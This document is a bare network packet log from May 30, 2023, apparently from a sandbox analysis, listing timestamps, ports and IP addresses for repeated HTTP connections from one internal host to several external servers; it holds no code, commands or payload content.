May 30, 2023 11:12:50.549736977 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:51.064304113 CEST	49845	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:52.079905033 CEST	49846	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:52.237302065 CEST	80	49846	216.108.231.108	192.168.11.20
May 30, 2023 11:12:52.237648010 CEST	49846	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:52.237648010 CEST	49846	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:52.395180941 CEST	80	49846	216.108.231.108	192.168.11.20
May 30, 2023 11:12:52.926728964 CEST	80	49846	216.108.231.108	192.168.11.20
May 30, 2023 11:12:52.926795959 CEST	80	49846	216.108.231.108	192.168.11.20
May 30, 2023 11:12:52.927028894 CEST	49846	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:52.927207947 CEST	49846	80	192.168.11.20	216.108.231.108
May 30, 2023 11:12:53.084264994 CEST	80	49846	216.108.231.108	192.168.11.20
May 30, 2023 11:12:57.938106060 CEST	49847	80	192.168.11.20	183.90.238.43
May 30, 2023 11:12:58.207385063 CEST	80	49847	183.90.238.43	192.168.11.20
May 30, 2023 11:12:58.207631111 CEST	49847	80	192.168.11.20	183.90.238.43
May 30, 2023 11:12:58.207803011 CEST	49847	80	192.168.11.20	183.90.238.43
May 30, 2023 11:12:58.476886034 CEST	80	49847	183.90.238.43	192.168.11.20
May 30, 2023 11:12:58.478796005 CEST	80	49847	183.90.238.43	192.168.11.20
May 30, 2023 11:12:58.478858948 CEST	80	49847	183.90.238.43	192.168.11.20
May 30, 2023 11:12:58.478905916 CEST	80	49847	183.90.238.43	192.168.11.20
May 30, 2023 11:12:58.479110003 CEST	49847	80	192.168.11.20	183.90.238.43
May 30, 2023 11:12:58.479110003 CEST	49847	80	192.168.11.20	183.90.238.43
May 30, 2023 11:12:59.718791962 CEST	49847	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:00.734344959 CEST	49848	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:00.998394966 CEST	80	49848	183.90.238.43	192.168.11.20
May 30, 2023 11:13:00.998608112 CEST	49848	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:00.998691082 CEST	49848	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:01.262629986 CEST	80	49848	183.90.238.43	192.168.11.20
May 30, 2023 11:13:01.264862061 CEST	80	49848	183.90.238.43	192.168.11.20
May 30, 2023 11:13:01.264940977 CEST	80	49848	183.90.238.43	192.168.11.20
May 30, 2023 11:13:01.264991999 CEST	80	49848	183.90.238.43	192.168.11.20
May 30, 2023 11:13:01.265090942 CEST	49848	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:01.265249014 CEST	49848	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:02.499424934 CEST	49848	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:03.515091896 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:03.782139063 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:03.782407999 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:03.783010960 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:03.783097982 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.049941063 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.050013065 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.050056934 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.050096035 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.050211906 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.050297976 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.050398111 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.050477028 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.050523043 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.050606012 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.050776958 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.050951004 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.317303896 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.317373037 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.317418098 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.317457914 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.317523003 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.317718983 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.317760944 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.317821980 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.317827940 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.317867041 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.317908049 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.318074942 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.318116903 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.318156958 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.318319082 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.318387985 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.318429947 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.584826946 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.584908962 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.584952116 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.584995985 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.585077047 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.585422993 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.585484982 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.585529089 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.587376118 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.587444067 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.587498903 CEST	80	49849	183.90.238.43	192.168.11.20
May 30, 2023 11:13:04.587687016 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:04.587759018 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:05.295592070 CEST	49849	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:06.311213970 CEST	49850	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:06.595031977 CEST	80	49850	183.90.238.43	192.168.11.20
May 30, 2023 11:13:06.595199108 CEST	49850	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:06.595299006 CEST	49850	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:06.879324913 CEST	80	49850	183.90.238.43	192.168.11.20
May 30, 2023 11:13:06.880937099 CEST	80	49850	183.90.238.43	192.168.11.20
May 30, 2023 11:13:06.881012917 CEST	80	49850	183.90.238.43	192.168.11.20
May 30, 2023 11:13:06.881069899 CEST	80	49850	183.90.238.43	192.168.11.20
May 30, 2023 11:13:06.881326914 CEST	49850	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:06.881326914 CEST	49850	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:06.881479979 CEST	49850	80	192.168.11.20	183.90.238.43
May 30, 2023 11:13:07.165352106 CEST	80	49850	183.90.238.43	192.168.11.20
May 30, 2023 11:13:11.888194084 CEST	49851	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:11.916810036 CEST	80	49851	84.32.84.32	192.168.11.20
May 30, 2023 11:13:11.917068005 CEST	49851	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:11.917148113 CEST	49851	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:11.945844889 CEST	80	49851	84.32.84.32	192.168.11.20
May 30, 2023 11:13:11.945910931 CEST	80	49851	84.32.84.32	192.168.11.20
May 30, 2023 11:13:14.434525013 CEST	49852	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:14.463259935 CEST	80	49852	84.32.84.32	192.168.11.20
May 30, 2023 11:13:14.463537931 CEST	49852	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:14.463608980 CEST	49852	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:14.492343903 CEST	80	49852	84.32.84.32	192.168.11.20
May 30, 2023 11:13:14.492408991 CEST	80	49852	84.32.84.32	192.168.11.20
May 30, 2023 11:13:16.980870962 CEST	49853	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:17.008618116 CEST	80	49853	84.32.84.32	192.168.11.20
May 30, 2023 11:13:17.008848906 CEST	49853	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:17.009413958 CEST	49853	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:17.009474039 CEST	49853	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:17.037353992 CEST	80	49853	84.32.84.32	192.168.11.20
May 30, 2023 11:13:17.037434101 CEST	80	49853	84.32.84.32	192.168.11.20
May 30, 2023 11:13:17.037579060 CEST	80	49853	84.32.84.32	192.168.11.20
May 30, 2023 11:13:17.037585020 CEST	49853	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:17.037662983 CEST	49853	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:17.037678003 CEST	80	49853	84.32.84.32	192.168.11.20
May 30, 2023 11:13:17.065581083 CEST	80	49853	84.32.84.32	192.168.11.20
May 30, 2023 11:13:17.065655947 CEST	80	49853	84.32.84.32	192.168.11.20
May 30, 2023 11:13:17.065954924 CEST	80	49853	84.32.84.32	192.168.11.20
May 30, 2023 11:13:17.066036940 CEST	80	49853	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.527074099 CEST	49854	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:19.554853916 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.555116892 CEST	49854	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:19.555170059 CEST	49854	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:19.582983971 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583468914 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583544016 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583602905 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583658934 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583714008 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583767891 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583823919 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583879948 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583930016 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:19.583976030 CEST	49854	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:19.584381104 CEST	49854	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:19.584539890 CEST	49854	80	192.168.11.20	84.32.84.32
May 30, 2023 11:13:19.612200975 CEST	80	49854	84.32.84.32	192.168.11.20
May 30, 2023 11:13:24.588543892 CEST	49855	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:24.635310888 CEST	80	49855	185.106.208.3	192.168.11.20
May 30, 2023 11:13:24.635531902 CEST	49855	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:24.635586977 CEST	49855	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:24.682348013 CEST	80	49855	185.106.208.3	192.168.11.20
May 30, 2023 11:13:24.682410955 CEST	80	49855	185.106.208.3	192.168.11.20
May 30, 2023 11:13:24.682457924 CEST	80	49855	185.106.208.3	192.168.11.20
May 30, 2023 11:13:24.682702065 CEST	49855	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:26.150465012 CEST	49855	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:27.166099072 CEST	49856	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:27.212661028 CEST	80	49856	185.106.208.3	192.168.11.20
May 30, 2023 11:13:27.212902069 CEST	49856	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:27.212985992 CEST	49856	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:27.259565115 CEST	80	49856	185.106.208.3	192.168.11.20
May 30, 2023 11:13:27.259865999 CEST	80	49856	185.106.208.3	192.168.11.20
May 30, 2023 11:13:27.259890079 CEST	80	49856	185.106.208.3	192.168.11.20
May 30, 2023 11:13:27.260036945 CEST	49856	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:28.728117943 CEST	49856	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.743669033 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.790710926 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.790982008 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.791526079 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.791605949 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.838426113 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.838500023 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.838541985 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.838582993 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.838624001 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.838665009 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.838705063 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.838743925 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.838769913 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.838783979 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.838898897 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.838962078 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.839032888 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.839102030 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.839129925 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.839303017 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.883946896 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.885624886 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.885689974 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.885860920 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.885937929 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.886210918 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.886348963 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.886466026 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.886493921 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.886509895 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.886552095 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.886697054 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:29.932852030 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.932977915 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.933296919 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.933358908 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.933609962 CEST	80	49857	185.106.208.3	192.168.11.20
May 30, 2023 11:13:29.933832884 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:31.305563927 CEST	49857	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:32.321211100 CEST	49858	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:32.368201971 CEST	80	49858	185.106.208.3	192.168.11.20
May 30, 2023 11:13:32.368551016 CEST	49858	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:32.368611097 CEST	49858	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:32.415499926 CEST	80	49858	185.106.208.3	192.168.11.20
May 30, 2023 11:13:32.415574074 CEST	80	49858	185.106.208.3	192.168.11.20
May 30, 2023 11:13:32.415625095 CEST	80	49858	185.106.208.3	192.168.11.20
May 30, 2023 11:13:32.416089058 CEST	49858	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:32.416167974 CEST	49858	80	192.168.11.20	185.106.208.3
May 30, 2023 11:13:32.462719917 CEST	80	49858	185.106.208.3	192.168.11.20
May 30, 2023 11:13:37.461492062 CEST	49859	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:38.475816011 CEST	49859	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:38.533718109 CEST	80	49859	109.123.121.243	192.168.11.20
May 30, 2023 11:13:38.533911943 CEST	49859	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:38.534024000 CEST	49859	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:38.552356005 CEST	80	49859	109.123.121.243	192.168.11.20
May 30, 2023 11:13:38.552580118 CEST	49859	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:39.485235929 CEST	80	49859	109.123.121.243	192.168.11.20
May 30, 2023 11:13:39.538173914 CEST	49859	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:39.997931004 CEST	80	49859	109.123.121.243	192.168.11.20
May 30, 2023 11:13:39.998265982 CEST	49859	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:40.038079977 CEST	49859	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:41.053694963 CEST	49860	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:41.130512953 CEST	80	49860	109.123.121.243	192.168.11.20
May 30, 2023 11:13:41.130711079 CEST	49860	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:41.130824089 CEST	49860	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:41.205630064 CEST	80	49860	109.123.121.243	192.168.11.20
May 30, 2023 11:13:41.649023056 CEST	80	49860	109.123.121.243	192.168.11.20
May 30, 2023 11:13:41.649068117 CEST	80	49860	109.123.121.243	192.168.11.20
May 30, 2023 11:13:41.649190903 CEST	49860	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:42.631138086 CEST	49860	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.647068977 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.724667072 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.724951982 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.725548983 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.800508976 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.800574064 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.800616980 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.800802946 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.800889015 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.801022053 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.801237106 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.801438093 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.827404022 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.876363039 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.876430035 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.876472950 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.876614094 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.876643896 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.876770020 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:43.949140072 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.949207067 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.949251890 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.951040983 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.951106071 CEST	80	49861	109.123.121.243	192.168.11.20
May 30, 2023 11:13:43.951354027 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:45.239965916 CEST	49861	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:46.255587101 CEST	49862	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:46.333851099 CEST	80	49862	109.123.121.243	192.168.11.20
May 30, 2023 11:13:46.334218025 CEST	49862	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:46.334471941 CEST	49862	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:46.438244104 CEST	80	49862	109.123.121.243	192.168.11.20
May 30, 2023 11:13:46.438287973 CEST	80	49862	109.123.121.243	192.168.11.20
May 30, 2023 11:13:46.438510895 CEST	49862	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:46.438631058 CEST	49862	80	192.168.11.20	109.123.121.243
May 30, 2023 11:13:46.514682055 CEST	80	49862	109.123.121.243	192.168.11.20
May 30, 2023 11:13:51.442563057 CEST	49863	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:51.608582020 CEST	80	49863	162.214.206.200	192.168.11.20
May 30, 2023 11:13:51.608867884 CEST	49863	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:51.609028101 CEST	49863	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:51.777358055 CEST	80	49863	162.214.206.200	192.168.11.20
May 30, 2023 11:13:51.777434111 CEST	80	49863	162.214.206.200	192.168.11.20
May 30, 2023 11:13:51.777620077 CEST	49863	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:53.113270044 CEST	49863	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:54.128873110 CEST	49864	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:54.294440985 CEST	80	49864	162.214.206.200	192.168.11.20
May 30, 2023 11:13:54.294653893 CEST	49864	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:54.294806004 CEST	49864	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:54.462641001 CEST	80	49864	162.214.206.200	192.168.11.20
May 30, 2023 11:13:54.462718964 CEST	80	49864	162.214.206.200	192.168.11.20
May 30, 2023 11:13:54.463005066 CEST	49864	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:55.800292015 CEST	49864	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:56.815974951 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:56.981270075 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:56.981488943 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:56.982122898 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:56.982156992 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:57.147150993 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.147239923 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.147414923 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:57.147525072 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:57.312793016 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.312850952 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.313009977 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:57.313123941 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:57.313201904 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.313287020 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:57.313457966 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:57.478602886 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.478663921 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.478705883 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.479331970 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.479393959 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.481710911 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.481782913 CEST	80	49865	162.214.206.200	192.168.11.20
May 30, 2023 11:13:57.481964111 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:58.487258911 CEST	49865	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:59.502824068 CEST	49866	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:59.667964935 CEST	80	49866	162.214.206.200	192.168.11.20
May 30, 2023 11:13:59.668220043 CEST	49866	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:59.668313980 CEST	49866	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:59.835793972 CEST	80	49866	162.214.206.200	192.168.11.20
May 30, 2023 11:13:59.835835934 CEST	80	49866	162.214.206.200	192.168.11.20
May 30, 2023 11:13:59.836074114 CEST	49866	80	192.168.11.20	162.214.206.200
May 30, 2023 11:13:59.836240053 CEST	49866	80	192.168.11.20	162.214.206.200
May 30, 2023 11:14:00.000883102 CEST	80	49866	162.214.206.200	192.168.11.20
May 30, 2023 11:14:04.864413977 CEST	49867	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:04.888977051 CEST	80	49867	213.171.195.105	192.168.11.20
May 30, 2023 11:14:04.889259100 CEST	49867	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:04.889312983 CEST	49867	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:04.913883924 CEST	80	49867	213.171.195.105	192.168.11.20
May 30, 2023 11:14:04.913955927 CEST	80	49867	213.171.195.105	192.168.11.20
May 30, 2023 11:14:04.914006948 CEST	80	49867	213.171.195.105	192.168.11.20
May 30, 2023 11:14:04.914180994 CEST	49867	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:06.391705036 CEST	49867	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:07.407269955 CEST	49868	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:07.431468964 CEST	80	49868	213.171.195.105	192.168.11.20
May 30, 2023 11:14:07.431653023 CEST	49868	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:07.431772947 CEST	49868	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:07.456013918 CEST	80	49868	213.171.195.105	192.168.11.20
May 30, 2023 11:14:07.456044912 CEST	80	49868	213.171.195.105	192.168.11.20
May 30, 2023 11:14:07.456057072 CEST	80	49868	213.171.195.105	192.168.11.20
May 30, 2023 11:14:07.456193924 CEST	49868	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:08.937989950 CEST	49868	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:09.953624964 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:09.978198051 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:09.978545904 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:09.979192972 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:09.979279041 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:10.004146099 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.004235029 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.004312038 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.004362106 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.004403114 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.004406929 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:10.004443884 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.004585981 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:10.004776001 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:10.029125929 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.029196024 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.029383898 CEST	49869	80	192.168.11.20	213.171.195.105
